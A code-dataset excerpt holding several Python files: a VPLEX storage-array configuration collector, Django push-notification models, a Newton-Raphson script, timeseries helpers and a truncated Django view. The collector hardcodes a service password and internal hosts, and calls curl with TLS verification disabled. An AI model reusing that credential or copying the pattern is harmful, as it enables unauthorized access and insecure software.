current_path)\n\n def _create_disk(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'disk':\n if self.current_disk is not None and self.current_disk.is_valid():\n self.disks.append(self.current_disk)\n self.current_disk = Disk()\n self.current_disk.parse(evt, elem, current_path)\n\n def _create_top_level_device(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'device':\n if self.current_device is not None and self.current_device.is_valid():\n self.top_level_devices.append(self.current_device)\n self.current_device = TopLevelDevice()\n self.current_device.parse(evt, elem, current_path)\n else:\n self.current_device.parse(evt, elem, current_path)\n\n def _create_extent(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'extent':\n if self.current_extent is not None and self.current_extent.is_valid():\n self.extents.append(self.current_extent)\n self.current_extent = Extent()\n self.current_extent.parse(evt, elem, current_path)\n\n def _create_virtual_volume(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'volume':\n if self.current_volume is not None and self.current_volume.is_valid():\n self.virtual_volumes.append(self.current_volume)\n self.current_volume = VirtualVolume()\n self.current_volume.parse(evt, elem, current_path)\n\n def _create_initiator(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'initiator':\n if self.current_initiator is not None and self.current_initiator.is_valid():\n self.initiators.append(self.current_initiator)\n self.current_initiator = Initiator()\n self.current_initiator.parse(evt, elem, current_path)\n\n def _create_storage_view(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'view':\n if self.current_view:\n self.current_view.verify()\n if self.current_view is not None and self.current_view.is_valid():\n self.storage_views.append(self.current_view)\n self.current_view = StorageView()\n self.current_view.parse(evt, elem, current_path)\n\n def _create_meta_volume(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 4 and current_path[-1] == 'meta-volume':\n if self.current_meta_volume is not None and self.current_meta_volume.is_valid():\n self.meta_volumes.append(self.current_meta_volume)\n self.current_meta_volume = MetaVolume()\n self.current_meta_volume.parse(evt, elem, current_path)\n\n def _create_logging_volume(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 4 and current_path[-1] == 'logging-volume':\n if self.current_logging_volume is not None and self.current_logging_volume.is_valid():\n self.logging_volumes.append(self.current_logging_volume)\n self.current_logging_volume = LoggingVolume()\n self.current_logging_volume.parse(evt, elem, current_path)\n\n def deserialize(self, xml_output):\n cluster = ('configDump/cluster'.split(r'/'), self.parse)\n control_dir = ('configDump/cluster/PlexControlDirector'.split(r'/'), self._create_control_director)\n port = ('configDump/ports/port'.split(r'/'), self._create_port)\n disk = ('configDump/disks/disk'.split(r'/'), self._create_disk)\n device = ('configDump/top-level-devices/device'.split(r'/'), self._create_top_level_device)\n extent = ('configDump/extents/extent'.split(r'/'), self._create_extent)\n virtual_volume = ('configDump/virtual-volumes/volume'.split(r'/'), self._create_virtual_volume)\n initiator = ('configDump/initiators/initiator'.split(r'/'), self._create_initiator)\n storage_view = ('configDump/views/view'.split(r'/'), self._create_storage_view)\n meta_volume = ('configDump/system-volumes/meta-volumes/meta-volume'.split(r'/'), self._create_meta_volume)\n logging_volume = ('configDump.system-volumes/logging-volumes/logging-volume'.split(r'/'), self._create_logging_volume)\n\n self.current_director, self.current_port, self.current_disk = None, None, None\n self.current_device, self.current_extent, self.current_volume = None, None, None\n self.current_initiator, self.current_view, self.current_meta_volume = None, None, None\n self.current_logging_volume = None\n\n start_funcs = (cluster, control_dir, port, disk, device, extent, virtual_volume, \n initiator, storage_view, meta_volume, logging_volume)\n end_funcs = (disk, device) \n z_xml_iterparser.iterparse(xml_output, {'start': start_funcs,\n 'end': end_funcs})\n \n self._append_last_object()\n\n def _append_last_object(self):\n if self.current_director is not None and self.current_director.is_valid():\n self.control_directors.append(self.current_director)\n del self.current_director\n\n if self.current_port is not None and self.current_port.is_valid():\n self.ports.append(self.current_port)\n del self.current_port\n\n if self.current_disk is not None and self.current_disk.is_valid():\n self.disks.append(self.current_disk)\n del self.current_disk\n\n if self.current_device is not None and self.current_device.is_valid():\n self.top_level_devices.append(self.current_device)\n del self.current_device\n\n if self.current_extent is not None and self.current_extent.is_valid():\n self.extents.append(self.current_extent)\n del self.current_extent\n\n if self.current_volume is not None and self.current_volume.is_valid():\n self.virtual_volumes.append(self.current_volume)\n del self.current_volume\n\n if self.current_initiator is not None and self.current_initiator.is_valid():\n self.initiators.append(self.current_initiator)\n del self.current_initiator\n\n if self.current_view is not None and self.current_view.is_valid():\n self.storage_views.append(self.current_view)\n del self.current_view\n\n if self.current_meta_volume is not None and self.current_meta_volume.is_valid():\n self.meta_volumes.append(self.current_meta_volume)\n del self.current_meta_volume\n\n if self.current_logging_volume is not None and self.current_logging_volume.is_valid():\n self.logging_volumes.append(self.current_logging_volume)\n del self.current_logging_volume\n\n def parse(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 2 and current_path[-1] == 'cluster':\n self.name = elem.get('name')\n self.version = elem.get('version')\n self.id = elem.get('id')\n self.management_ip = elem.get('managementIP')\n self.serial_no = elem.get('top-level-assembly')\n\n def is_valid(self):\n return self.name is not None and \\\n self.version is not None and \\\n self.id is not None and \\\n self.management_ip is not None and \\\n self.serial_no is not None and \\\n self.control_directors and \\\n self.ports and self.disks and \\\n self.top_level_devices\n\n def to_csv(self):\n return '|'.join((self.name, self.version, self.id, self.management_ip, self.serial_no, self.site))\n \n def director_to_csv(self):\n return '\\n'.join(('|'.join((d.to_csv(), self.serial_no, self.site)) for d in self.control_directors))\n\n def port_to_csv(self):\n return '\\n'.join(('|'.join((p.to_csv(), self.serial_no, self.site)) for p in self.ports))\n \n def device_to_csv(self):\n return '\\n'.join(('|'.join((d.to_csv(), self.serial_no, self.site)) for d in self.top_level_devices))\n\n def nested_device_to_csv(self):\n return '\\n'.join(('|'.join((dev_csv, self.serial_no, self.site)) \n for d in self.top_level_devices\n for dev_csv in d.nested_device_to_csv()))\n\n def disk_to_csv(self):\n return '\\n'.join(('|'.join((d.to_csv(), self.serial_no, self.site)) for d in self.disks))\n\n def disk_path_to_csv(self):\n return '\\n'.join(('|'.join((path_csv, self.serial_no, self.site)) \n for d in self.disks for path_csv in d.path_to_csv()))\n\n def disk_path_port_to_csv(self):\n return '\\n'.join(('|'.join((port_csv, self.serial_no, self.site)) \n for d in self.disks for port_csv in d.path_port_to_csv()))\n\n def extent_to_csv(self):\n return '\\n'.join(('|'.join((e.to_csv(), self.serial_no, self.site)) for e in self.extents))\n\n def volume_to_csv(self):\n return '\\n'.join(('|'.join((v.to_csv(), self.serial_no, self.site)) for v in self.virtual_volumes))\n\n def initiator_to_csv(self):\n return '\\n'.join(('|'.join((i.to_csv(), self.serial_no, self.site)) for i in self.initiators))\n\n def view_to_csv(self):\n return '\\n'.join(('|'.join((v.to_csv(), self.serial_no, self.site)) for v in self.storage_views))\n\n def view_initiator_to_csv(self):\n return '\\n'.join(('|'.join((init_csv, self.serial_no, self.site)) \n for v in self.storage_views for init_csv in v.initiator_to_csv()))\n\n def view_port_to_csv(self):\n return '\\n'.join(('|'.join((port_csv, self.serial_no, self.site)) \n for v in self.storage_views for port_csv in v.port_to_csv()))\n\n def view_volume_to_csv(self):\n return '\\n'.join(('|'.join((vol_csv, self.serial_no, self.site)) \n for v in self.storage_views for vol_csv in v.volume_to_csv()))\n\n def meta_volume_to_csv(self):\n return '\\n'.join(('|'.join((v.to_csv(), self.serial_no, self.site)) for v in self.meta_volumes))\n\n def logging_volume_to_csv(self):\n return '\\n'.join(('|'.join((v.to_csv(), self.serial_no, self.site)) for v in self.logging_volumes))\n\n def verify(self):\n assert self.name is not None\n assert self.version is not None\n assert self.id is not None\n assert self.management_ip is not None\n assert self.serial_no is not None\n assert self.control_directors\n assert self.ports\n assert self.disks\n assert self.top_level_devices\n\n for cd in self.control_directors:\n cd.verify()\n\n for port in self.ports:\n port.verify()\n\n for d in self.disks:\n d.verify()\n\n for dev in self.top_level_devices:\n dev.verify()\n\nclass Vplex(object):\n BASECONTEXT = '/vplex' \n def __init__(self, site, hostname, ip, username='service', password='Mi@Dim7T'):\n self.site = site\n self.hostname = hostname\n self.ip = ip\n self.username = username\n self.password = password\n self.clusters = []\n\n def is_valid(self):\n return self.site is not None and \\\n self.hostname is not None and \\\n self.ip is not None and \\\n self.clusters\n\n def to_csv(self):\n return '\\n'.join(('|'.join((self.site, self.hostname, self.ip, c.serial_no)) for c in self.clusters)) + '\\n'\n\n def verify(self):\n assert self.clusters\n for c in self.clusters:\n c.verify()\n\n @staticmethod\n def platform():\n return 'Vplex'\n\n @staticmethod\n def generate_csv_reports(vplexes, csv_dir='csv/'):\n vplex_csv = open(csv_dir + 'array_vplex.csv', 'w')\n vplex_csv.write('site|hostname|ip|cluster_serial_no\\n')\n\n cluster_csv = open(csv_dir + 'cluster_vplex.csv', 'w')\n cluster_csv.write('name|version|id|management_ip|serial_no|site\\n')\n\n director_csv = open(csv_dir + 'control_director_vplex.csv', 'w')\n director_csv.write('hostname|name|id|serial_no\\n')\n\n port_csv = open(csv_dir + 'port_vplex.csv', 'w')\n port_csv.write('name|id|wwn|protocol|control_director|status|enabled|node_wwn|role|serial_no\\n')\n\n dev_csv = open(csv_dir + 'top_level_device_vplex.csv', 'w')\n dev_csv.write('name|id|size|type|locality|serial_no\\n')\n\n nested_dev_csv = open(csv_dir + 'nested_device_vplex.csv', 'w')\n nested_dev_csv.write('name|size|geometry|locality|visibility|id|serial_no\\n')\n\n disk_csv = open(csv_dir + 'disk_vplex.csv', 'w')\n disk_csv.write('name|id|size|vpd_identifier|use|serial_no\\n')\n\n disk_path_csv = open(csv_dir + 'disk_path_vplex.csv', 'w')\n disk_path_csv.write('target|lun|type|vpd_identifier|serial_no\\n')\n\n disk_path_port_csv = open(csv_dir + 'disk_path_port_vplex.csv', 'w')\n disk_path_port_csv.write('path_port|target|lun|vpd_identifier|serial_no\\n')\n\n extent_csv = open(csv_dir + 'extent_vplex.csv', 'w')\n extent_csv.write('name|size|use|used_by|locality|storage_volume|serial_no\\n')\n\n volume_csv = open(csv_dir + 'virtual_volume_vplex.csv', 'w')\n volume_csv.write('name|id|vpd_identifier|size|locality|supporting_device|cache_mode|serial_no\\n')\n\n initiator_csv = open(csv_dir + 'initiator_vplex.csv', 'w')\n initiator_csv.write('name|id|type|port_wwn|node_wwn|serial_no\\n')\n\n view_csv = open(csv_dir + 'storage_view_vplex.csv', 'w')\n view_csv.write('name|status|serial_no\\n')\n\n view_initiator_csv = open(csv_dir + 'storage_view_initiator_vplex.csv', 'w')\n view_initiator_csv.write('initiator|storage_view_name|serial_no\\n')\n\n view_port_csv = open(csv_dir + 'storage_view_port_vplex.csv', 'w')\n view_port_csv.write('port|storage_view_name|serial_no\\n')\n\n view_volume_csv = open(csv_dir + 'storage_view_volume_vplex.csv', 'w')\n view_volume_csv.write('volume|lun|storage_view_name|serial_no\\n')\n\n meta_volume_csv = open(csv_dir + 'meta_volume_vplex.csv', 'w')\n meta_volume_csv.write('name|size|locality|geometry|ready|active|serial_no\\n')\n\n logging_volume_csv = open(csv_dir + 'logging_volume_vplex.csv', 'w')\n logging_volume_csv.write('name|size|locality|geometry|serial_no\\n')\n\n for vplex in vplexes:\n if vplex.is_valid():\n vplex_csv.write(vplex.to_csv())\n for c in vplex.clusters:\n cluster_csv.write(c.to_csv() + '\\n')\n director_csv.write(c.director_to_csv() + '\\n')\n port_csv.write(c.port_to_csv() + '\\n')\n dev_csv.write(c.device_to_csv() + '\\n')\n\n csv_str = c.nested_device_to_csv()\n if csv_str:\n nested_dev_csv.write(csv_str + '\\n')\n\n disk_csv.write(c.disk_to_csv() + '\\n')\n disk_path_csv.write(c.disk_path_to_csv() + '\\n')\n disk_path_port_csv.write(c.disk_path_port_to_csv() + '\\n')\n\n csv_str = c.extent_to_csv()\n if csv_str:\n extent_csv.write(csv_str + '\\n')\n\n csv_str = c.volume_to_csv()\n if csv_str:\n volume_csv.write(csv_str + '\\n')\n\n csv_str = c.initiator_to_csv()\n if csv_str:\n initiator_csv.write(csv_str + '\\n')\n\n csv_str = c.view_to_csv()\n if csv_str:\n view_csv.write(csv_str + '\\n')\n\n csv_str = c.view_initiator_to_csv()\n if csv_str:\n view_initiator_csv.write(csv_str + '\\n')\n\n csv_str = c.view_port_to_csv()\n if csv_str:\n view_port_csv.write(csv_str + '\\n')\n\n csv_str = c.view_volume_to_csv()\n if csv_str:\n view_volume_csv.write(csv_str + '\\n')\n\n csv_str = c.meta_volume_to_csv()\n if csv_str:\n meta_volume_csv.write(csv_str + '\\n')\n\n csv_str = c.logging_volume_to_csv()\n if csv_str:\n logging_volume_csv.write(csv_str + '\\n')\n\n vplex_csv.close()\n cluster_csv.close()\n director_csv.close()\n port_csv.close()\n dev_csv.close()\n nested_dev_csv.close()\n disk_csv.close()\n disk_path_csv.close()\n disk_path_port_csv.close()\n extent_csv.close()\n volume_csv.close()\n initiator_csv.close()\n view_csv.close()\n view_initiator_csv.close()\n view_port_csv.close()\n view_volume_csv.close()\n meta_volume_csv.close()\n logging_volume_csv.close()\n\n def collect_data(self, output_dir='cmd_output/'):\n filename = output_dir + self.hostname + '_output.txt'\n with open(filename, 'w') as output_file:\n res = self._get_cluster_configdump(output_file)\n return res\n\n def _get_cluster_configdump(self, output_file):\n curl_cmd = (CURL, '-k', '-H', 'Username:%s' %self.username, '-H', 'Password:%s' %self.password,\n 'https://%s%s%s' %(self.ip, self.BASECONTEXT, '/clusters'))\n output = subprocess.Popen(curl_cmd, stdout=subprocess.PIPE).communicate()[0]\n response = json.loads(output)\n err_msg = response.get('response', {}).get('exception')\n if err_msg:\n logging.error('failed execute curl /cluster for (%s) platform (%s) with the error (%s)' \n %(self.hostname, self.platform(), err_msg))\n return -1 \n\n clusters = response.get('response', {}).get('context', [{}])[0].get('children', [])\n for cluster in clusters:\n dumpfile_name = self.hostname + '_' + cluster['name'] + '.cfgdump'\n args = '{\\\"args\\\": \\\"--verbose --file /var/log/VPlex/cli/wwwroot/outgoing/%s --cluster %s\\\"}' \\\n %(dumpfile_name, cluster['name']) \n curl_cmd = (CURL, '-k', '-H', 'Username:%s' %self.username, '-H', 'Password:%s' %self.password,\n '-d', args, 'https://%s%s%s' %(self.ip, self.BASECONTEXT, '/cluster+configdump'))\n\n output = subprocess.Popen(curl_cmd, stdout=subprocess.PIPE).communicate()[0]\n response = json.loads(output)\n err_msg = response.get('response', {}).get('exception')\n if err_msg:\n logging.error('failed execute curl /cluster+configdump for (%s) platform (%s) with the error' \n %(self.hostname, self.platform(), err_msg))\n continue\n\n # download the dump file\n curl_cmd = (CURL, '-k', '-H', 'Username:%s' %self.username, '-H', 'Password:%s' %self.password, 'https://%s%s/downloadfile/%s' %(self.ip, self.BASECONTEXT, dumpfile_name))\n output = subprocess.Popen(curl_cmd, stdout=subprocess.PIPE).communicate()[0]\n if output.find('xml version=') < 0:\n response = json.loads(output)\n err_msg = response.get('response', {}).get('exception')\n logging.error('failed execute curl /downloadfile for (%s) platform (%s) with the error' \n %(self.hostname, self.platform(), err_msg or output))\n continue\n\n # process XML\n output_file.write(output)\n cluster = Cluster(self.site)\n try:\n cluster.deserialize(output)\n except Exception as e:\n logging.error('failed to deserialize for (%s) platform (%s)' %(cluster, cluster.platform()))\n continue\n\n if cluster.is_valid():\n self.clusters.append(cluster)\n\n return 0\n\nif __name__ == '__main__':\n import os\n\n csv_dir = 'csv/'\n try:\n os.mkdir(csv_dir)\n except:\n pass\n\n output_dir = 'cmd_output/'\n try:\n os.mkdir(output_dir)\n except:\n pass\n\n hosts = (('HPW', 'vplex0608.net.bms.com', '192.168.77.105'), ('ABH', 'vplex1866.net.bms.com', '158.117.214.88'))\n vplexes = []\n for (site, hostname, ip) in hosts:\n vplex = Vplex(site, hostname, ip)\n vplex.collect_data()\n vplexes.append(vplex)\n vplexes[0].generate_csv_reports(vplexes) \n","sub_path":"Python/LPLoader/NasanLoader/vplex_loader.py","file_name":"vplex_loader.py","file_ext":"py","file_size_in_byte":38086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"123848104","text":"import json\nimport itertools\nfrom django.conf import settings\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom uuidfield import UUIDField\nfrom .fields import HexIntegerField\n\n\n# Compatibility with custom user models, while keeping backwards-compatibility with <1.5\nAUTH_USER_MODEL = getattr(settings, \"AUTH_USER_MODEL\", \"auth.User\")\n\n\nclass Device(models.Model):\n\tname = models.CharField(max_length=255, verbose_name=_(\"Name\"), blank=True, null=True)\n\tactive = models.BooleanField(verbose_name=_(\"Is active\"), default=True,\n\t\thelp_text=_(\"Inactive devices will not be sent notifications\"))\n\tuser = models.ForeignKey(AUTH_USER_MODEL, blank=True, null=True)\n\n\tclass Meta:\n\t\tabstract = True\n\n\tdef __unicode__(self):\n\t\treturn self.name or str(self.device_id or \"\") or \"%s for %s\" % (self.__class__.__name__, self.user or \"unknown user\")\n\n\nclass GCMDeviceManager(models.Manager):\n\tdef get_query_set(self):\n\t\treturn GCMDeviceQuerySet(self.model)\n\n\nclass GCMDeviceQuerySet(models.query.QuerySet):\n\tdef send_message(self, message):\n\t\tif self:\n\t\t\tfrom .gcm import gcm_send_bulk_message\n\t\t\treturn gcm_send_bulk_message(\n\t\t\t\tregistration_ids=list(self.values_list(\"registration_id\", flat=True)),\n\t\t\t\tdata={\"message\": message},\n\t\t\t\tcollapse_key=\"message\"\n\t\t\t)\n\n\nclass GCMDevice(Device):\n\t# device_id cannot be a reliable primary key as fragmentation between different devices\n\t# can make it turn out to be null and such:\n\t# http://android-developers.blogspot.co.uk/2011/03/identifying-app-installations.html\n\tdevice_id = HexIntegerField(verbose_name=_(\"Device ID\"), blank=True, null=True,\n\t\thelp_text=\"ANDROID_ID / TelephonyManager.getDeviceId() (always as hex)\")\n\tregistration_id = models.TextField(verbose_name=_(\"Registration ID\"))\n\n\tobjects = GCMDeviceManager()\n\n\tclass Meta:\n\t\tverbose_name = _(\"GCM device\")\n\n\tdef send_message(self, message):\n\t\tfrom .gcm import gcm_send_message\n\t\treturn gcm_send_message(registration_id=self.registration_id, data={\"message\": message}, collapse_key=\"message\")\n\n\t# we have to deactivate unused devices using the request_ids notified and the data returned by the server\n\t@classmethod\n\tdef deactivate_unused(cls, registration_ids, data):\n\t\tdata = json.loads(data)\n\t\tif data['failure'] > 0 or data['canonical_ids'] > 0:\n\t\t\tresults = data['results']\n\t\t\tfor registration_id, result in itertools.izip(registration_ids, results):\n\t\t\t\tif 'message_id'in result and 'registration_id' in result:\n\t\t\t\t\tobj = cls.objects.get(registration_id=registration_id)\n\t\t\t\t\tif cls.objects.filter(registration_id=result['registration_id']).count() > 0:\n\t\t\t\t\t\tobj.active = False\n\t\t\t\t\telse:\n\t\t\t\t\t\tobj.registration_id = result['registration_id']\n\t\t\t\t\tobj.save()\n\t\t\t\telif 'error' in result and result['error'] == 'NotRegistered':\n\t\t\t\t\tobj = cls.objects.get(registration_id=registration_id)\n\t\t\t\t\tobj.active = False\n\t\t\t\t\tobj.save()\n\n\nclass APNSDeviceManager(models.Manager):\n\tdef get_query_set(self):\n\t\treturn APNSDeviceQuerySet(self.model)\n\n\nclass APNSDeviceQuerySet(models.query.QuerySet):\n\tdef send_message(self, message, **kwargs):\n\t\tif self:\n\t\t\tfrom .apns import apns_send_bulk_message\n\t\t\treturn apns_send_bulk_message(registration_ids=list(self.values_list(\"registration_id\", flat=True)), data=message, **kwargs)\n\n\nclass APNSDevice(Device):\n\tdevice_id = UUIDField(verbose_name=_(\"Device ID\"), blank=True, null=True,\n\t\thelp_text=\"UDID / UIDevice.identifierForVendor()\")\n\tregistration_id = models.CharField(verbose_name=_(\"Registration ID\"), max_length=64, unique=True)\n\n\tobjects = APNSDeviceManager()\n\n\tclass Meta:\n\t\tverbose_name = _(\"APNS device\")\n\n\tdef send_message(self, message, **kwargs):\n\t\tfrom .apns import apns_send_message\n\t\treturn apns_send_message(registration_id=self.registration_id, data=message, **kwargs)\n\n\t@classmethod\n\tdef deactivate_unused(cls):\n\t\tfrom .apns import apns_get_feedback\n\t\tdevices = apns_get_feedback()\n\t\tfor device in devices:\n\t\t\ttry:\n\t\t\t\tobj = cls.objects.get(registration_id=device[\"token\"])\n\t\t\t\tobj.active = False\n\t\t\t\tobj.save()\n\t\t\texcept cls.DoesNotExist:\n\t\t\t\tpass\n","sub_path":"push_notifications/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463760897","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 23 11:12:36 2018\r\n\r\n@author: leder\r\n\"\"\"\r\n#Newton-Raphson Algorithm for Finding Roots\r\n\r\nepsilon = 0.01\r\ny = float(input('Enter a number to find the approximate square root: '))\r\nguess = y/2.0\r\nnumGuesses = 0\r\n\r\nwhile abs(guess*guess - y) >= epsilon:\r\n numGuesses += 1\r\n guess = guess - (((guess**2) - y)/(2 * guess))\r\nprint('numGuesses = ' + str(numGuesses))\r\nprint('Square root of ' + str(y) + ' is about ' + str(guess))","sub_path":"newton_raphson.py","file_name":"newton_raphson.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"438905006","text":"import numpy as np\nimport datetime\nimport warnings\n\ndef get_rmse(time_obs,y_obs,time_sim,y_sim):\n time,y_obs_match,y_sim_match = get_same_timeseries(time_obs,time_sim,y_obs,y_sim)\n diff = []\n for t in range(len(time)):\n diff.append((y_sim_match[t]-y_obs_match[t])**2)\n diff = np.array(diff)\n rmse = np.sqrt(np.nanmean(diff))\n return rmse\n\ndef get_mae(time_obs,y_obs,time_sim,y_sim):\n time,y_obs_match,y_sim_match = get_same_timeseries(time_obs,time_sim,y_obs,y_sim)\n diff = []\n for t in range(len(time)):\n diff.append(abs(y_sim_match[t]-y_obs_match[t]))\n diff = np.array(diff)\n mae = np.nanmean(diff)\n return mae\n\ndef get_same_timeseries(time1,time2,y1,y2):\n time = []\n y1_new = []\n y2_new = []\n for t in range(len(time1)):\n i = np.where(time2 == time1[t])[0]\n if len(i)>0:\n i0 = i[0]\n time.append(time1[t])\n y1_new.append(y1[t])\n y2_new.append(y2[i0])\n time = np.array(time)\n y1_new = np.array(y1_new)\n y2_new = np.array(y2_new)\n return time,y1_new,y2_new\n\ndef get_hourly_averages_on_the_hour(time,data):\n data = np.array(data,dtype=np.float)\n time_1havg = []\n data_1havg = []\n start_time = datetime.datetime(time[0].year,time[0].month,time[0].day,time[0].hour,30)\n end_time = datetime.datetime(time[-1].year,time[-1].month,time[-1].day,time[-1].hour,30)\n n = np.int((end_time-start_time).total_seconds()/(60*60))\n for i in range(n-1):\n hr = start_time+i*datetime.timedelta(hours=1)\n nhr = hr+datetime.timedelta(hours=1)\n l_range_start = time >= hr\n l_range_end = time <= nhr\n l_range = l_range_start & l_range_end\n if any(l_range):\n time_1havg.append(hr+datetime.timedelta(minutes=30))\n data_1havg.append(np.nanmean(data[l_range]))\n time_1havg = np.array(time_1havg)\n data_1havg = np.array(data_1havg)\n return time_1havg,data_1havg\n\ndef get_hourly_averages(time,data):\n data = np.array(data,dtype=np.float)\n time_1havg = []\n data_1havg = []\n start_time = datetime.datetime(time[0].year,time[0].month,time[0].day,time[0].hour,0)\n end_time = datetime.datetime(time[-1].year,time[-1].month,time[-1].day,time[-1].hour,0)\n n = np.int((end_time-start_time).total_seconds()/(60*60))\n for i in range(n-1):\n hr = start_time+i*datetime.timedelta(hours=1)\n nhr = hr+datetime.timedelta(hours=1)\n l_range_start = time >= hr\n l_range_end = time <= nhr\n l_range = l_range_start & l_range_end\n if any(l_range):\n time_1havg.append(hr+datetime.timedelta(minutes=30))\n data_1havg.append(np.nanmean(data[l_range]))\n time_1havg = np.array(time_1havg)\n data_1havg = np.array(data_1havg)\n return time_1havg,data_1havg\n\ndef get_l_time_range(time,start_time,end_time):\n if type(start_time) is datetime.date:\n start_time = datetime.datetime(start_time.year,start_time.month,start_time.day)\n if type(end_time) is datetime.date:\n end_time = datetime.datetime(end_time.year,end_time.month,end_time.day)\n l_start = time >= start_time\n l_end = time <= end_time\n l_time = l_start & l_end\n return l_time\n\ndef get_uniform_time_series(start_time,end_time,dt):\n n = int((end_time-start_time).total_seconds()/dt)\n time = []\n time.append(start_time)\n for t in range(n):\n time.append(time[t]+datetime.timedelta(seconds=dt))\n time = np.array(time)\n return time\n\ndef get_nearest_time_index(time,requested_time,nearest_type='absolute'):\n \"\"\"Finds the index of the nearest time to requested_time. There are three\n different options that can be specified by giving a nearest_type:\n -nearest_type = 'absolute': the nearest time index based on the absolute value\n is given (default)\n -nearest_type = 'before': the nearest time index before requested_time is given\n -nearest_type = 'after': the nearest time index after requested_time is given\"\"\"\n if type(requested_time) is datetime.date:\n requested_time = datetime.datetime.combine(requested_time,datetime.time())\n dt = []\n for t in time:\n dt.append((t-requested_time).total_seconds())\n dt = np.array(dt)\n if nearest_type == 'absolute':\n i = np.where(abs(dt)==np.min(abs(dt)))[0][0]\n elif nearest_type == 'before':\n if any(dt[dt<0]):\n i = np.where(dt==dt[dt<0].max())[0][0]\n else:\n i = np.where(abs(dt)==np.min(abs(dt)))[0][0]\n warnings.warn('No nearest time before requested_time available. Giving nearest absolute time.')\n elif nearest_type == 'after':\n if any(dt[dt>0]):\n i = np.where(dt==dt[dt>0].min())[0][0]\n else:\n i = np.where(abs(dt)==np.min(abs(dt)))[0][0]\n warnings.warn('No nearest time after requested_time available. Giving nearest absolute time.')\n else:\n raise ValueError('Unknown nearest time index type.')\n return i\n\ndef round_time(time,round_to=60):\n \"\"\"Rounds a datetime object to requested round_to in seconds.\n Original script from Thierry Husson 2012 from Stackoverflow.\"\"\"\n seconds = (time-time.min).seconds\n rounding = (seconds+round_to/2)//round_to*round_to\n return time+datetime.timedelta(0,rounding-seconds,-time.microsecond)\n\ndef get_time_series_indices(time_org,time):\n # THIS DOESN'T WORK PROPERLY IF THE TIMESERIES IS NOT UNIFORMLY INCREASING\n # check out the commented function below, to first 'fix' the timeseries?\n # also this function name is very undescriptive > check where this is used\n if time_org[0] <= time[0]:\n i0 = 0\n j0 = np.where(time_org == time[0])[0][0]\n elif time_org[0] > time[0]:\n i0 = np.where(time == time_org[0])[0][0]\n j0 = 0\n if time_org[-1] >= time[-1]:\n i_end = len(time)-1\n j_end = np.where(time_org == time[-1])[0][0]\n elif time_org[-1] < time[-1]:\n i_end = np.where(time == time_org[-1])[0][0]\n j_end = len(time_org)-1\n return i0,i_end,j0,j_end\n\ndef insert_times_to_get_uniform_series(time,data,delta_t=3600):\n diff_t = []\n for t in range(len(time)-1):\n diff_t.append((time[t+1]-time[t]).total_seconds())\n diff_t = np.array(diff_t)\n dt = np.unique(diff_t)\n for t in range(len(dt)):\n if dt[t] != delta_t:\n i_fix = np.where(diff_t == dt[t])[0]\n for i in range(len(i_fix)):\n t0 = time[i_fix[i]]\n t1 = time[i_fix[i]+1]\n n = int((t1-t0).total_seconds()/delta_t) # this will go wrong if diff_t is completely non-uniform\n iter = 1\n while n > 1:\n time_insert = t0+datetime.timedelta(seconds=delta_t)\n time = np.insert(time,i_fix[i]+iter,time_insert)\n data = np.insert(data,i_fix[i]+iter,np.empty(data.shape[1:3])*np.nan,axis=0) # assuming that dimensions of data are [time,...]\n t0 = time_insert\n n = int((t1-t0).total_seconds()/delta_t)\n iter = iter+1\n return time,data\n\ndef get_uniform_time_difference(time):\n diff_t = np.unique(np.diff(time))\n if len(diff_t)==1:\n dt = diff_t[0].total_seconds()\n return dt\n else:\n raise ValueError('Time is not uniformly increasing.')\n\ndef get_days_after_1950(time):\n time_1950 = np.empty((len(time),))*np.nan\n for t in range(len(time)):\n time_1950[t] = (time[t]-datetime.datetime(1950,1,1)).total_seconds()/(24*60*60)\n time_units = 'days since 1950-01-01 00:00:00 UTC'\n return time_1950,time_units\n","sub_path":"utilities/timeseries.py","file_name":"timeseries.py","file_ext":"py","file_size_in_byte":7662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"158894657","text":"from django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom mediaviewer.models.file import File\nfrom mediaviewer.models.path import Path\nfrom mediaviewer.models.downloadtoken import DownloadToken\nfrom mediaviewer.views.home import setSiteWideContext\nfrom mediaviewer.models.usersettings import (LOCAL_IP,\n BANGUP_IP,\n )\nfrom mediaviewer.utils import logAccessInfo, humansize, check_force_password_change\nfrom django.shortcuts import render, get_object_or_404, redirect\nimport json\n\n@login_required(login_url='/mediaviewer/login/')\n@check_force_password_change\n@logAccessInfo\ndef filesdetail(request, file_id):\n user = request.user\n file = File.objects.get(pk=file_id)\n skip = file.skip and True or False\n finished = file.finished and True or False\n usercomment = file.usercomment(user)\n if usercomment:\n viewed = usercomment.viewed and True or False\n comment = bool(usercomment.comment) and usercomment.comment or \"\"\n setattr(file, 'usercomment', usercomment)\n else:\n viewed = False\n comment = ''\n\n posterfile = file.posterfile\n\n settings = user.settings()\n context = {'file': file,\n 'posterfile': posterfile,\n 'comment': comment,\n 'skip': skip,\n 'finished': finished,\n 'LOCAL_IP': LOCAL_IP,\n 'BANGUP_IP': BANGUP_IP,\n 'viewed': viewed,\n 'can_download': settings and settings.can_download or False,\n 'file_size': file.size and humansize(file.size)}\n context['active_page'] = 'filesdetail'\n context['title'] = file.isMovie() and file.rawSearchString() or file.path.displayName()\n setSiteWideContext(context, request)\n return render(request, 